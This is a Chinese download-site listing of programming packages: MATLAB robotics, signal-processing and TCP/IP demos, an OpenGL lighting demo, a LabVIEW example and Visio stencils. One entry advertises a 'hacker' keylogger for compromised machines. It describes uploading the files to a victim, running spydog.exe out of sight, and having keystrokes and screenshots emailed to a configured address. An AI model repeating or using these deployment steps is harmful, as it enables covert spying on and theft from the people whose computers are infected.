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机器人学、机器视觉与控制 matlab 算法基础
本书是关于机器人学和机器视觉的实用参考书, 第一部分“基础知识”(第2章和第3章)介绍机器人及其操作对象的位置和姿态描述,以及机器人路径和运动的表示方法;第二部分“移动机器人”(第4章至第6章)介绍其基本运动控制模式及其导航和定位方法;第三部分“臂型机器人”(第7章至第9章)介绍其运动学、动力学和控制方面的知识;第四部分“计算机视觉”(第10章至第14章)包括光照与色彩,图像形成和处理技术,图像特征提取,以及基于多幅图像的立体视觉技术;第五部分“机器人学、 视学与控制”(第15章和第16章)分别讨论基于位置和基于图像的视觉伺服及更先进的混合视觉伺服方法。本书将机器人学与机器视觉知识有机结合,给
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MATLAB实现基于TCPIP的通信
上网捣鼓了半天和查matlabAPI,最后自己总结出来了这个MATLAB基于tcpip的通信demo,里面有俩ip之间传矩阵信息和字符串信息的实现过程。
- 2020-12-06下载
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计算radon-wigner变换
计算radon-wigner变换的Matlab程序
- 2020-12-03下载
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信道化的matlab仿真实现
实现对信号的信道化接收。且具有良好的可拓展性,可修改信道数、滤波器阶数、自由改变输入信号
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h264+ffmpeg+opencv开发手册
h264+ffmpeg+opencv开发手册,可以用来学习这方面的开发,有兴趣的看一下
- 2020-11-30下载
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DELL机架式服务器最新Viso模具
DELL机架式服务器最新Viso模具,Dell-PowerEdge-RackServers.vss
- 2020-12-09下载
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黑客专用键盘监听工具
功能:1.记录运行的程序2.记录键盘输入3.定时截屏发送邮箱用法:4个文件上传到肉鸡任意目录运行主程序spydog.exe(在DOS下运行,肉鸡哪能看见呢?)注意:上传前请修改sysconfig文件内容,右击记事本打开引用:111 10600 截屏间隔时间(不能小于60,单位是秒)heikechina@foxmail.com 接受信息的邮箱
- 2020-12-05下载
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OpenGL三茶壶三光源(光源绕着茶壶旋转)有好几个坐标系.rar
【实例简介】1. 绘制带有光照效果的场景;
2. 场景包含 3 个茶壶,通过键盘 123 可以分别选中三个茶壶,然后用鼠标对每个茶壶 进行分别的旋转;
3. 使用点光源,点光源为白色,以白色的球体表示;
4. 使用 3 个不同的点光源
i. 光源 1 的坐标设置在世界坐标系中,并围绕着三个茶壶的中心进行圆周运动;
ii. 光源 2 的坐标 设置在观察坐标系,不发生变化;
iii. 光源 3 的坐标设置在茶壶 1 的物体坐标系中,当茶壶 1 被选中进行旋转时,光 源 3 要跟随茶壶 1 做相同的旋转;
- 2021-11-29 00:32:30下载
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Labview调用Matlab简单例程(用MATLAB script技术)
本例程用Labview调用matlab的方法实现了简单的乘法运算。只要在laview前面板中输入两个乘数立即得到结果。本程序简单易懂,学习者一看就会。注意的是要同时安装labview和matlab软件的计算机才能正确运行。
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数字信号处理仿真:滤波器 采样定理 卷积演示
MATLAB 卷积 滤波器 采样定理(是动态演示的哦)
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